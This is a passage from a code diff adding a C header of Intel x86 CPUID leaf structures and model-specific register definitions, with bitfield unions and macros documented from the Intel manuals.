0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000006; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_TIME_STAMP_COUNTER 0x80000007 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 8; + + /** + * [Bit 8] Invariant TSC available if 1. + */ + uint32_t invariant_tsc_available : 1; +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_BIT 8 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_FLAG 0x100 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_MASK 0x01 +#define CPUID_EDX_INVARIANT_TSC_AVAILABLE(_) (((_) >> 8) & 0x01) + uint32_t reserved2 : 23; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000007; + +/** + * @} + */ + + /** + * @defgroup model_specific_registers \ + * Model Specific Registers + * + * @see Vol2A[3.2(CPUID)] (reference) + * @{ + */ + /** + * @defgroup ia32_p5_mc \ + * IA32_P5_MC_(x) + * + * When machine-check exceptions are enabled for the Pentium processor (MCE flag is set in control register CR4), the + * machine-check exception handler uses the RDMSR instruction to read the error type from the P5_MC_TYPE register and the + * machine check address from the P5_MC_ADDR register. The handler then normally reports these register values to the + * system console before aborting execution. + * + * @see Vol3B[15.10.2(Pentium Processor Machine-Check Exception Handling)] (reference) + * @{ + */ + /** + * Machine-check exception address. + * + * @remarks 05_01H + * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] + */ +#define IA32_P5_MC_ADDR 0x00000000 + + /** + * Machine-check exception type. + * + * @remarks 05_01H + * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] + */ +#define IA32_P5_MC_TYPE 0x00000001 + /** + * @} + */ + + /** + * System coherence line size. + * + * @remarks 0F_03H + * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] + * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] (reference) + */ +#define IA32_MONITOR_FILTER_LINE_SIZE 0x00000006 + + /** + * Value as returned by instruction RDTSC. + * + * @remarks 05_01H + * @see Vol3B[17.17(TIME-STAMP COUNTER)] + */ +#define IA32_TIME_STAMP_COUNTER 0x00000010 + + /** + * The operating system can use this MSR to determine "slot" information for the processor and the proper microcode update + * to load. + * + * @remarks 06_01H + */ +#define IA32_PLATFORM_ID 0x00000017 +typedef union +{ + struct + { + uint64_t reserved1 : 50; + + /** + * @brief Platform Id (RO) + * + * [Bits 52:50] Contains information concerning the intended platform for the processor. + * + * + * 52 | 51 | 50 | _ + * --:|:--:|:---|----------------- + * 0 | 0 | 0 | Processor Flag 0 + * 0 | 0 | 1 | Processor Flag 1 + * 0 | 1 | 0 | Processor Flag 2 + * 0 | 1 | 1 | Processor Flag 3 + * 1 | 0 | 0 | Processor Flag 4 + * 1 | 0 | 1 | Processor Flag 5 + * 1 | 1 | 0 | Processor Flag 6 + * 1 | 1 | 1 | Processor Flag 7 + */ + uint64_t platform_id : 3; +#define IA32_PLATFORM_ID_PLATFORM_ID_BIT 50 +#define IA32_PLATFORM_ID_PLATFORM_ID_FLAG 0x1C000000000000 +#define IA32_PLATFORM_ID_PLATFORM_ID_MASK 0x07 +#define IA32_PLATFORM_ID_PLATFORM_ID(_) (((_) >> 50) & 0x07) + uint64_t reserved2 : 11; + }; + + uint64_t flags; +} ia32_platform_id_register; + + +/** + * This register holds the APIC base address, permitting the relocation of the APIC memory map. + * + * @remarks 06_01H + * @see Vol3A[10.4.4(Local APIC Status and Location)] + * @see Vol3A[10.4.5(Relocating the Local APIC Registers)] + */ +#define IA32_APIC_BASE 0x0000001B +typedef union +{ + struct + { + uint64_t reserved1 : 8; + + /** + * [Bit 8] BSP flag. + */ + uint64_t bsp_flag : 1; +#define IA32_APIC_BASE_BSP_FLAG_BIT 8 +#define IA32_APIC_BASE_BSP_FLAG_FLAG 0x100 +#define IA32_APIC_BASE_BSP_FLAG_MASK 0x01 +#define IA32_APIC_BASE_BSP_FLAG(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Enable x2APIC mode. + */ + uint64_t enable_x2apic_mode : 1; +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_BIT 10 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_FLAG 0x400 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_MASK 0x01 +#define IA32_APIC_BASE_ENABLE_X2APIC_MODE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] APIC Global Enable. + */ + uint64_t apic_global_enable : 1; +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_BIT 11 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_FLAG 0x800 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_MASK 0x01 +#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE(_) (((_) >> 11) & 0x01) + + /** + * [Bits 47:12] APIC Base. + */ + uint64_t apic_base : 36; +#define IA32_APIC_BASE_APIC_BASE_BIT 12 +#define IA32_APIC_BASE_APIC_BASE_FLAG 0xFFFFFFFFF000 +#define IA32_APIC_BASE_APIC_BASE_MASK 0xFFFFFFFFF +#define IA32_APIC_BASE_APIC_BASE(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 16; + }; + + uint64_t flags; +} ia32_apic_base_register; + + +/** + * Control Features in Intel 64 Processor. + * + * @remarks If any one enumeration condition for defined bit field holds. + */ +#define IA32_FEATURE_CONTROL 0x0000003A +typedef union +{ + struct + { + /** + * @brief Lock bit (R/WO) + * + * [Bit 0] When set, locks this MSR from being written; writes to this bit will result in GP(0). + * + * @note Once the Lock bit is set, the contents of this register cannot be modified. Therefore the lock bit must be set + * after configuring support for Intel Virtualization Technology and prior to transferring control to an option ROM or the + * OS. Hence, once the Lock bit is set, the entire IA32_FEATURE_CONTROL contents are preserved across RESET when PWRGOOD is + * not deasserted. + * @remarks If any one enumeration condition for defined bit field position greater than bit 0 holds. + */ + uint64_t lock_bit : 1; +#define IA32_FEATURE_CONTROL_LOCK_BIT_BIT 0 +#define IA32_FEATURE_CONTROL_LOCK_BIT_FLAG 0x01 +#define IA32_FEATURE_CONTROL_LOCK_BIT_MASK 0x01 +#define IA32_FEATURE_CONTROL_LOCK_BIT(_) (((_) >> 0) & 0x01) + + /** + * @brief Enable VMX inside SMX operation (R/WL) + * + * [Bit 1] This bit enables a system executive to use VMX in conjunction with SMX to support Intel(R) Trusted Execution + * Technology. BIOS must set this bit only when the CPUID function 1 returns VMX feature flag and SMX feature flag set (ECX + * bits 5 and 6 respectively). + * + * @remarks If CPUID.01H:ECX[5] = 1 && CPUID.01H:ECX[6] = 1 + */ + uint64_t enable_vmx_inside_smx : 1; +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_BIT 1 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_FLAG 0x02 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_MASK 0x01 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX(_) (((_) >> 1) & 0x01) + + /** + * @brief Enable VMX outside SMX operation (R/WL) + * + * [Bit 2] This bit enables VMX for a system executive that does not require SMX. BIOS must set this bit only when the + * CPUID function 1 returns the VMX feature flag set (ECX bit 5). + * + * @remarks If CPUID.01H:ECX[5] = 1 + */ + uint64_t enable_vmx_outside_smx : 1; +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_BIT 2 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_FLAG 0x04 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_MASK 0x01 +#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * @brief SENTER Local Function Enable (R/WL) + * + * [Bits 14:8] When set, each bit in the field represents an enable control for a corresponding SENTER function. This field + * is supported only if CPUID.1:ECX.[bit 6] is set. + * + * @remarks If CPUID.01H:ECX[6] = 1 + */ + uint64_t senter_local_function_enables : 7; +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_BIT 8 +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_FLAG 0x7F00 +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_MASK 0x7F +#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES(_) (((_) >> 8) & 0x7F) + + /** + * @brief SENTER Global Enable (R/WL) + * + * [Bit 15] This bit must be set to enable SENTER leaf functions. This bit is supported only if CPUID.1:ECX.[bit 6] is set. + * + * @remarks If CPUID.01H:ECX[6] = 1 + */ + uint64_t senter_global_enable : 1; +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_BIT 15 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_FLAG 0x8000 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE(_) (((_) >> 15) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief SGX Launch Control Enable (R/WL) + * + * [Bit 17] This bit must be set to enable runtime reconfiguration of SGX Launch Control via the IA32_SGXLEPUBKEYHASHn MSR. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): ECX[30] = 1 + */ + uint64_t sgx_launch_control_enable : 1; +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_BIT 17 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_FLAG 0x20000 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE(_) (((_) >> 17) & 0x01) + + /** + * @brief SGX Global Enable (R/WL) + * + * [Bit 18] This bit must be set to enable SGX leaf functions. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 + */ + uint64_t sgx_global_enable : 1; +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_BIT 18 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_FLAG 0x40000 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_MASK 0x01 +#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief LMCE On (R/WL) + * + * [Bit 20] When set, system software can program the MSRs associated with LMCE to configure delivery of some machine check + * exceptions to a single logical processor. + * + * @remarks If IA32_MCG_CAP[27] = 1 + */ + uint64_t lmce_on : 1; +#define IA32_FEATURE_CONTROL_LMCE_ON_BIT 20 +#define IA32_FEATURE_CONTROL_LMCE_ON_FLAG 0x100000 +#define IA32_FEATURE_CONTROL_LMCE_ON_MASK 0x01 +#define IA32_FEATURE_CONTROL_LMCE_ON(_) (((_) >> 20) & 0x01) + uint64_t reserved4 : 43; + }; + + uint64_t flags; +} ia32_feature_control_register; + + +/** + * Per Logical Processor TSC Adjust. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[1] = 1 + */ +#define IA32_TSC_ADJUST 0x0000003B +typedef struct +{ + /** + * Local offset value of the IA32_TSC for a logical processor. Reset value is zero. A write to IA32_TSC will modify the + * local offset in IA32_TSC_ADJUST and the content of IA32_TSC, but does not affect the internal invariant TSC hardware. + */ + uint64_t thread_adjust; +} ia32_tsc_adjust_register; + + +/** + * @brief BIOS Update Trigger (W) + * + * Executing a WRMSR instruction to this MSR causes a microcode update to be loaded into the processor. A processor may + * prevent writing to this MSR when loading guest states on VM entries or saving guest states on VM exits. + * + * @remarks 06_01H + * @see Vol3A[9.11.6(Microcode Update Loader)] + */ +#define IA32_BIOS_UPDATE_TRIGGER 0x00000079 + + /** + * @brief BIOS Update Signature (RO) + * + * Returns the microcode update signature following the execution of CPUID.01H. A processor may prevent writing to this MSR + * when loading guest states on VM entries or saving guest states on VM exits. + * + * @remarks 06_01H + */ +#define IA32_BIOS_UPDATE_SIGNATURE 0x0000008B +typedef union +{ + struct + { + /** + * [Bits 31:0] Reserved. + */ + uint64_t reserved : 32; +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_BIT 0 +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_FLAG 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_MASK 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * @brief Microcode update signature + * + * [Bits 63:32] This field contains the signature of the currently loaded microcode update when read following the + * execution of the CPUID instruction, function 1. It is required that this register field be pre-loaded with zero prior to + * executing the CPUID, function 1. If the field remains equal to zero, then there is no microcode update loaded. Another + * nonzero value will be the signature. + * + * @see Vol3A[9.11.7.1(Determining the Signature)] (reference) + */ + uint64_t microcode_update_signature : 32; +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_BIT 32 +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_FLAG 0xFFFFFFFF00000000 +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_MASK 0xFFFFFFFF +#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_bios_update_signature_register; + +/** + * @defgroup ia32_sgxlepubkeyhash \ + * IA32_SGXLEPUBKEYHASH[(64*n+63):(64*n)] + * + * Bits (64*n+63):(64*n) of the SHA256 digest of the SIGSTRUCT.MODULUS for SGX Launch Enclave. On reset, the default value + * is the digest of Intel's signing key. + * + * @remarks Read permitted If CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && CPUID.(EAX=07H,ECX=0H):ECX[30]=1. Write permitted if + * CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && IA32_FEATURE_CONTROL[17] = 1 && IA32_FEATURE_CONTROL[0] = 1. + * @{ + */ +#define IA32_SGXLEPUBKEYHASH0 0x0000008C +#define IA32_SGXLEPUBKEYHASH1 0x0000008D +#define IA32_SGXLEPUBKEYHASH2 0x0000008E +#define IA32_SGXLEPUBKEYHASH3 0x0000008F + /** + * @} + */ + + + /** + * SMM Monitor Configuration. + * + * @remarks If CPUID.01H: ECX[5]=1 || CPUID.01H: ECX[6] = 1 + */ +#define IA32_SMM_MONITOR_CTL 0x0000009B +typedef union +{ + struct + { + /** + * @brief Valid (R/W) + * + * [Bit 0] The STM may be invoked using VMCALL only if this bit is 1. Because VMCALL is used to activate the dual-monitor + * treatment, the dual-monitor treatment cannot be activated if the bit is 0. This bit is cleared when the logical + * processor is reset. + * + * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t valid : 1; +#define IA32_SMM_MONITOR_CTL_VALID_BIT 0 +#define IA32_SMM_MONITOR_CTL_VALID_FLAG 0x01 +#define IA32_SMM_MONITOR_CTL_VALID_MASK 0x01 +#define IA32_SMM_MONITOR_CTL_VALID(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Controls SMI unblocking by VMXOFF + * + * [Bit 2] Determines whether executions of VMXOFF unblock SMIs under the default treatment of SMIs and SMM. Executions of + * VMXOFF unblock SMIs unless bit 2 is 1 (the value of bit 0 is irrelevant). + * + * @remarks If IA32_VMX_MISC[28] + * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t smi_unblocking_by_vmxoff : 1; +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_BIT 2 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_FLAG 0x04 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_MASK 0x01 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 9; + + /** + * @brief MSEG Base (R/W) + * + * [Bits 31:12] Value that, when shifted left 12 bits, is the physical address of MSEG (the MSEG base address). + * + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t mseg_base : 20; +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_BIT 12 +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_FLAG 0xFFFFF000 +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_MASK 0xFFFFF +#define IA32_SMM_MONITOR_CTL_MSEG_BASE(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} ia32_smm_monitor_ctl_register; + +typedef struct +{ + /** + * @brief MSEG revision identifier + * + * Different processors may use different MSEG revision identifiers. These identifiers enable software to avoid using an + * MSEG header formatted for one processor on a processor that uses a different format. Software can discover the MSEG + * revision identifier that a processor uses by reading the VMX capability MSR IA32_VMX_MISC. + * + * @see Vol3D[A.6(MISCELLANEOUS DATA)] + */ + uint32_t mseg_header_revision; + + /** + * @brief SMM-transfer monitor features field + * + * Bits 31:1 of this field are reserved and must be zero. Bit 0 of the field is the IA-32e mode SMM feature bit. It + * indicates whether the logical processor will be in IA-32e mode after the STM is activated. + * + * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] + */ + uint32_t monitor_features; + + /** + * Define values for the MonitorFeatures field of MSEG_HEADER. + */ +#define IA32_STM_FEATURES_IA32E 0x00000001 + + /** + * Fields that determine how processor state is loaded when the STM is activated. SMM code should establish these fields so + * that activating of the STM invokes the STM's initialization code. + * + * @see Vol3C[34.15.6.5(Loading Host State)] + */ + uint32_t gdtr_limit; + uint32_t gdtr_base_offset; + uint32_t cs_selector; + uint32_t eip_offset; + uint32_t esp_offset; + uint32_t cr3_offset; +} ia32_mseg_header; + + +/** + * Base address of the logical processor's SMRAM image. + * + * @remarks If IA32_VMX_MISC[15] + */ +#define IA32_SMBASE 0x0000009E + /** + * @defgroup ia32_pmc \ + * IA32_PMC(n) + * + * General Performance Counters. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + * @{ + */ +#define IA32_PMC0 0x000000C1 +#define IA32_PMC1 0x000000C2 +#define IA32_PMC2 0x000000C3 +#define IA32_PMC3 0x000000C4 +#define IA32_PMC4 0x000000C5 +#define IA32_PMC5 0x000000C6 +#define IA32_PMC6 0x000000C7 +#define IA32_PMC7 0x000000C8 + /** + * @} + */ + + + /** + * TSC Frequency Clock Counter. + * + * @remarks If CPUID.06H: ECX[0] = 1 + */ +#define IA32_MPERF 0x000000E7 +typedef struct +{ + /** + * @brief C0 TSC Frequency Clock Count + * + * Increments at fixed interval (relative to TSC freq.) when the logical processor is in C0. Cleared upon overflow / + * wrap-around of IA32_APERF. + */ + uint64_t c0_mcnt; +} ia32_mperf_register; + + +/** + * Actual Performance Clock Counter + * + * @remarks If CPUID.06H: ECX[0] = 1 + */ +#define IA32_APERF 0x000000E8 +typedef struct +{ + /** + * @brief C0 Actual Frequency Clock Count + * + * Accumulates core clock counts at the coordinated clock frequency, when the logical processor is in C0. Cleared upon + * overflow / wrap-around of IA32_MPERF. + */ + uint64_t c0_acnt; +} ia32_aperf_register; + + +/** + * MTRR Capability. + * + * @see Vol3A[11.11.2.1(IA32_MTRR_DEF_TYPE MSR)] + * @see Vol3A[11.11.1(MTRR Feature Identification)] (reference) + */ +#define IA32_MTRR_CAPABILITIES 0x000000FE +typedef union +{ + struct + { + /** + * @brief VCNT (variable range registers count) field + * + * [Bits 7:0] Indicates the number of variable ranges implemented on the processor. + */ + uint64_t variable_range_count : 8; +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_BIT 0 +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_FLAG 0xFF +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_MASK 0xFF +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT(_) (((_) >> 0) & 0xFF) + + /** + * @brief FIX (fixed range registers supported) flag + * + * [Bit 8] Fixed range MTRRs (IA32_MTRR_FIX64K_00000 through IA32_MTRR_FIX4K_0F8000) are supported when set; no fixed range + * registers are supported when clear. + */ + uint64_t fixed_range_supported : 1; +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_BIT 8 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_FLAG 0x100 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED(_) (((_) >> 8) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief WC (write combining) flag + * + * [Bit 10] The write-combining (WC) memory type is supported when set; the WC type is not supported when clear. + */ + uint64_t wc_supported : 1; +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_BIT 10 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_FLAG 0x400 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED(_) (((_) >> 10) & 0x01) + + /** + * @brief SMRR (System-Management Range Register) flag + * + * [Bit 11] The system-management range register (SMRR) interface is supported when bit 11 is set; the SMRR interface is + * not supported when clear. + */ + uint64_t smrr_supported : 1; +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_BIT 11 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_FLAG 0x800 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 52; + }; + + uint64_t flags; +} ia32_mtrr_capabilities_register; + + +/** + * @brief SYSENTER_CS_MSR (R/W) + * + * The lower 16 bits of this MSR are the segment selector for the privilege level 0 code segment. This value is also used + * to determine the segment selector of the privilege level 0 stack segment. This value cannot indicate a null selector. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_CS 0x00000174 +typedef union +{ + struct + { + /** + * [Bits 15:0] CS Selector. + */ + uint64_t cs_selector : 16; +#define IA32_SYSENTER_CS_CS_SELECTOR_BIT 0 +#define IA32_SYSENTER_CS_CS_SELECTOR_FLAG 0xFFFF +#define IA32_SYSENTER_CS_CS_SELECTOR_MASK 0xFFFF +#define IA32_SYSENTER_CS_CS_SELECTOR(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bits 31:16] Not used. + * + * @remarks Can be read and written. + */ + uint64_t not_used_1 : 16; +#define IA32_SYSENTER_CS_NOT_USED_1_BIT 16 +#define IA32_SYSENTER_CS_NOT_USED_1_FLAG 0xFFFF0000 +#define IA32_SYSENTER_CS_NOT_USED_1_MASK 0xFFFF +#define IA32_SYSENTER_CS_NOT_USED_1(_) (((_) >> 16) & 0xFFFF) + + /** + * [Bits 63:32] Not used. + * + * @remarks Writes ignored; reads return zero. + */ + uint64_t not_used_2 : 32; +#define IA32_SYSENTER_CS_NOT_USED_2_BIT 32 +#define IA32_SYSENTER_CS_NOT_USED_2_FLAG 0xFFFFFFFF00000000 +#define IA32_SYSENTER_CS_NOT_USED_2_MASK 0xFFFFFFFF +#define IA32_SYSENTER_CS_NOT_USED_2(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_sysenter_cs_register; + + +/** + * @brief SYSENTER_ESP_MSR (R/W) + * + * The value of this MSR is loaded into RSP (thus, this value contains the stack pointer for the privilege level 0 stack). + * This value cannot represent a non-canonical address. In protected mode, only bits 31:0 are loaded. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_ESP 0x00000175 + + /** + * @brief SYSENTER_EIP_MSR (R/W) + * + * The value of this MSR is loaded into RIP (thus, this value references the first instruction of the selected operating + * procedure or routine). In protected mode, only bits 31:0 are loaded. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_EIP 0x00000176 + + /** + * Global Machine Check Capability. + * + * @remarks 06_01H + */ +#define IA32_MCG_CAP 0x00000179 +typedef union +{ + struct + { + /** + * [Bits 7:0] Number of reporting banks. + */ + uint64_t count : 8; +#define IA32_MCG_CAP_COUNT_BIT 0 +#define IA32_MCG_CAP_COUNT_FLAG 0xFF +#define IA32_MCG_CAP_COUNT_MASK 0xFF +#define IA32_MCG_CAP_COUNT(_) (((_) >> 0) & 0xFF) + + /** + * [Bit 8] IA32_MCG_CTL is present if this bit is set. + */ + uint64_t mcg_ctl_p : 1; +#define IA32_MCG_CAP_MCG_CTL_P_BIT 8 +#define IA32_MCG_CAP_MCG_CTL_P_FLAG 0x100 +#define IA32_MCG_CAP_MCG_CTL_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_CTL_P(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Extended machine check state registers are present if this bit is set. + */ + uint64_t mcg_ext_p : 1; +#define IA32_MCG_CAP_MCG_EXT_P_BIT 9 +#define IA32_MCG_CAP_MCG_EXT_P_FLAG 0x200 +#define IA32_MCG_CAP_MCG_EXT_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_EXT_P(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Support for corrected MC error event is present. + * + * @remarks 06_01H + */ + uint64_t mcp_cmci_p : 1; +#define IA32_MCG_CAP_MCP_CMCI_P_BIT 10 +#define IA32_MCG_CAP_MCP_CMCI_P_FLAG 0x400 +#define IA32_MCG_CAP_MCP_CMCI_P_MASK 0x01 +#define IA32_MCG_CAP_MCP_CMCI_P(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Threshold-based error status register are present if this bit is set. + */ + uint64_t mcg_tes_p : 1; +#define IA32_MCG_CAP_MCG_TES_P_BIT 11 +#define IA32_MCG_CAP_MCG_TES_P_FLAG 0x800 +#define IA32_MCG_CAP_MCG_TES_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_TES_P(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bits 23:16] Number of extended machine check state registers present. + */ + uint64_t mcg_ext_cnt : 8; +#define IA32_MCG_CAP_MCG_EXT_CNT_BIT 16 +#define IA32_MCG_CAP_MCG_EXT_CNT_FLAG 0xFF0000 +#define IA32_MCG_CAP_MCG_EXT_CNT_MASK 0xFF +#define IA32_MCG_CAP_MCG_EXT_CNT(_) (((_) >> 16) & 0xFF) + + /** + * [Bit 24] The processor supports software error recovery if this bit is set. + */ + uint64_t mcg_ser_p : 1; +#define IA32_MCG_CAP_MCG_SER_P_BIT 24 +#define IA32_MCG_CAP_MCG_SER_P_FLAG 0x1000000 +#define IA32_MCG_CAP_MCG_SER_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_SER_P(_) (((_) >> 24) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 26] Indicates that the processor allows platform firmware to be invoked when an error is detected so that it may + * provide additional platform specific information in an ACPI format "Generic Error Data Entry" that augments the data + * included in machine check bank registers. + * + * @remarks 06_3EH + */ + uint64_t mcg_elog_p : 1; +#define IA32_MCG_CAP_MCG_ELOG_P_BIT 26 +#define IA32_MCG_CAP_MCG_ELOG_P_FLAG 0x4000000 +#define IA32_MCG_CAP_MCG_ELOG_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_ELOG_P(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] Indicates that the processor supports extended state in IA32_MCG_STATUS and associated MSR necessary to + * configure Local Machine Check Exception (LMCE). + * + * @remarks 06_3EH + */ + uint64_t mcg_lmce_p : 1; +#define IA32_MCG_CAP_MCG_LMCE_P_BIT 27 +#define IA32_MCG_CAP_MCG_LMCE_P_FLAG 0x8000000 +#define IA32_MCG_CAP_MCG_LMCE_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_LMCE_P(_) (((_) >> 27) & 0x01) + uint64_t reserved3 : 36; + }; + + uint64_t flags; +} ia32_mcg_cap_register; + + +/** + * Global 